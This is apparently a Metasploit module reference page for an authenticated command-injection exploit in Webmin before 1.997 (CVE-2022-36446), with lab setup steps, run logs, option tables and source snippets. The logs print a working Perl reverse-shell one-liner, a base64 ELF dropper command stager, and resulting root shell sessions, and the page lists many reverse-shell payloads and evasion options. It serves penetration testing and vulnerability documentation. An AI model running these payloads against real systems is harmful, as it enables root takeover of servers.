Webmin Package Updates RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/webmin_package_updates_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Webmin Package Updates RCE
Module: exploit/linux/http/webmin_package_updates_rce
Source code: modules/exploits/linux/http/webmin_package_updates_rce.rb
Disclosure date: 2022-07-26
Last modification time: 2022-08-09 15:09:25 +0000
Supported architecture(s): cmd, x86, x64, aarch64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 10000
List of CVEs: CVE-2022-36446
This module exploits an arbitrary command injection in
Webmin versions prior to 1.997. Webmin uses the OS package
manager (apt, yum, etc.) to perform package updates and
installation. Due to a lack of input sanitization, it is
possibe to inject arbitrary command that will be
concatenated to the package manager call. This exploit
requires authentication and the account must have access to
the Software Package Updates module.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/webmin_package_updates_rce
msf exploit(webmin_package_updates_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
This module exploits an arbitrary command injection in Webmin versions prior to 1.997.
Webmin uses the OS package manager (apt, yum, etc.) to perform package
updates and installation. Due to a lack of input sanitization, it is possible to
inject an arbitrary command that will be concatenated to the package manager call.
This exploit requires authentication and the account must have access to the Software Package Updates module.
Installation
Ubuntu
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
- Install it along with its dependencies (
libio-pty-perlrequired when installing on Ubuntu 20.04)apt-get install libauthen-pam-perl libio-pty-perl dpkg -i ./webmin_1.996_all.deb
Setup
- Go to
https://<target IP>:10000/ - Login as
rootwith the OS password - Create a new user:
Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create - Setup permissions
Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save
Verification Steps
- Install and setup the application
- Start msfconsole
- Do:
use exploit/linux/http/webmin_package_updates_rce - Do:
run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password> - You should get a shell.
Options
TARGETURI
Set this to the Webmin base path. The default is /.
USERNAME
The account username to use.
PASSWORD
The account password.
Scenarios
Webmin 1.996 on Ubuntu 18.04
- Target 0 (
Unix In-Memory)
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.)/){system $1;}};' [] Started reverse TCP handler on 192.168.0.2:4444 [] Running automatic check ("set AutoCheck false" to disable) [] Webmin 1.996 detected [+] Webmin 1.996 is a supported target [+] The target appears to be vulnerable. [] Attempting login [+] Logged in! [] Sending payload [] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
id uid=0(root) gid=0(root) groups=0(root)
cat /etc/issue
Ubuntu 18.04.6 LTS \n \l
- Target 1 (
Linux Dropper)
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[] Started reverse TCP handler on 192.168.0.2:4444 [] Running automatic check ("set AutoCheck false" to disable) [] Webmin 1.996 detected [+] Webmin 1.996 is a supported target [+] The target appears to be vulnerable. [] Attempting login [+] Logged in! [] Sending payload [] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"] [] Transmitting intermediate stager...(126 bytes) [] Sending stage (3020772 bytes) to 192.168.0.23 [] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200 [] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.0.23
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/webmin_package_updates_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/webmin_package_updates_rce
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_package_updates_rce) > show info
Name: Webmin Package Updates RCE
Module: exploit/linux/http/webmin_package_updates_rce
Platform: Unix, Linux
Arch: cmd, x86, x64, aarch64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-07-26
Provided by:
Christophe De La Fuente
Emir Polat
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper (x86 & x64)
2 Linux Dropper (ARM64)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD 123456 no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 10000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits an arbitrary command injection in Webmin
versions prior to 1.997. Webmin uses the OS package manager (`apt`,
`yum`, etc.) to perform package updates and installation. Due to a
lack of input sanitization, it is possibe to inject arbitrary
command that will be concatenated to the package manager call. This
exploit requires authentication and the account must have access to
the Software Package Updates module.
References:
https://www.exploit-db.com/exploits/50998
https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
https://nvd.nist.gov/vuln/detail/CVE-2022-36446
Module Options
This is a complete list of options available in the linux/http/webmin_package_updates_rce exploit:
msf6 exploit(linux/http/webmin_package_updates_rce) > show options
Module options (exploit/linux/http/webmin_package_updates_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD 123456 no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 10000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.
0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix In-Memory
Advanced Options
Here is a complete list of advanced options supported by the linux/http/webmin_package_updates_rce exploit:
msf6 exploit(linux/http/webmin_package_updates_rce) > show advanced
Module advanced options (exploit/linux/http/webmin_package_updates_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_wri
te, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch,
lwprequest, psh_invokewebrequest, ftp_http)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for
non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS no The User-Agent header to use for all requests
X 12.2; rv:97.0) Gecko/20100101 Firef
ox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
ut directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/webmin_package_updates_rce module can exploit:
msf6 exploit(linux/http/webmin_package_updates_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper (x86 & x64)
2 Linux Dropper (ARM64)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/webmin_package_updates_rce exploit:
msf6 exploit(linux/http/webmin_package_updates_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
21 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
22 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
23 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
26 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
27 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
28 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
29 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
30 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
31 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
32 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
33 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
35 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
36 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
37 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
38 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
39 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
40 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
42 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
43 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
44 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
45 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
46 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
47 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
48 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
49 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
50 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
51 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
52 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
53 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
54 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
55 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
56 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
57 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
58 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
59 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
60 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
61 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
62 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
63 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
64 payload/generic/custom normal No Custom Payload
65 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
66 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
67 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/webmin_package_updates_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/webmin_package_updates_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
ate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apac
he)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apa
che)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <PEER> - Could not connect to web service - no response
- <PEER> - Please enable the SSL option to proceed
- <PEER> - Webmin version not detected
- <PEER> - Webmin <VERSION> is not a supported target
- <PEER> - Could not connect to web service
- <PEER> - Could not connect to web service - no response
- <PEER> - Invalid credentials (response code: <RES.CODE>)
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
97: res = send_request_cgi(
98: 'method' => 'GET',
99: 'uri' => normalize_uri(target_uri.path)
100: )
101:
102: return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res
103:
104: if res.body.include?('This web server is running in SSL mode.')
105: return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
106: end
107:
<PEER> - Please enable the SSL option to proceed
Here is a relevant code snippet related to the "<PEER> - Please enable the SSL option to proceed" error message:
100: )
101:
102: return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res
103:
104: if res.body.include?('This web server is running in SSL mode.')
105: return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
106: end
107:
108: version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
109:
110: return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version
<PEER> - Webmin version not detected
Here is a relevant code snippet related to the "<PEER> - Webmin version not detected" error message:
105: return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
106: end
107:
108: version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
109:
110: return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version
111:
112: version = Rex::Version.new(version)
113:
114: vprint_status("Webmin #{version} detected")
115:
<PEER> - Webmin <VERSION> is not a supported target
Here is a relevant code snippet related to the "<PEER> - Webmin <VERSION> is not a supported target" error message:
112: version = Rex::Version.new(version)
113:
114: vprint_status("Webmin #{version} detected")
115:
116: unless version < Rex::Version.new('1.997')
117: return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target")
118: end
119:
120: vprint_good("Webmin #{version} is a supported target")
121:
122: CheckCode::Appears
<PEER> - Could not connect to web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service" error message:
119:
120: vprint_good("Webmin #{version} is a supported target")
121:
122: CheckCode::Appears
123: rescue ::Rex::ConnectionError
124: return CheckCode::Unknown("#{peer} - Could not connect to web service")
125: end
126:
127: def do_login
128: res = send_request_cgi({
129: 'method' => 'POST',
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
135: 'user' => datastore['USERNAME'],
136: 'pass' => datastore['PASSWORD']
137: }
138: })
139:
140: fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res
141: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
142:
143: print_good('Logged in!')
144: end
145:
<PEER> - Invalid credentials (response code: <RES.CODE>)
Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:
136: 'pass' => datastore['PASSWORD']
137: }
138: })
139:
140: fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res
141: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
142:
143: print_good('Logged in!')
144: end
145:
146: def execute_command(cmd, _opts = {})
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
169: print_status('Sending payload')
170: case target['Type']
171: when :unix_memory
172: execute_command(payload.encoded)
173: when :linux_dropper
174: execute_cmdstager
175: end
176: rescue ::Rex::ConnectionError
177: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
178: end
179: end
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Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/webmin/edit_html_fileaccess
- auxiliary/admin/webmin/file_disclosure
- exploit/linux/http/webmin_backdoor
- exploit/linux/http/webmin_file_manager_rce
- exploit/linux/http/webmin_packageup_rce
- exploit/unix/webapp/webmin_show_cgi_exec
- exploit/unix/webapp/webmin_upload_exec
- exploit/linux/local/apt_package_manager_persistence
- exploit/linux/local/yum_package_manager_persistence
- exploit/unix/webapp/zoneminder_packagecontrol_exec
- exploit/windows/fileformat/ms14_064_packager_python
- exploit/windows/fileformat/ms14_064_packager_run_as_admin
- exploit/windows/browser/mswhale_checkforupdates
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- auxiliary/gather/ibm_bigfix_sites_packages_enum
- post/solaris/gather/enum_packages
Authors
- Christophe De La Fuente
- Emir Polat
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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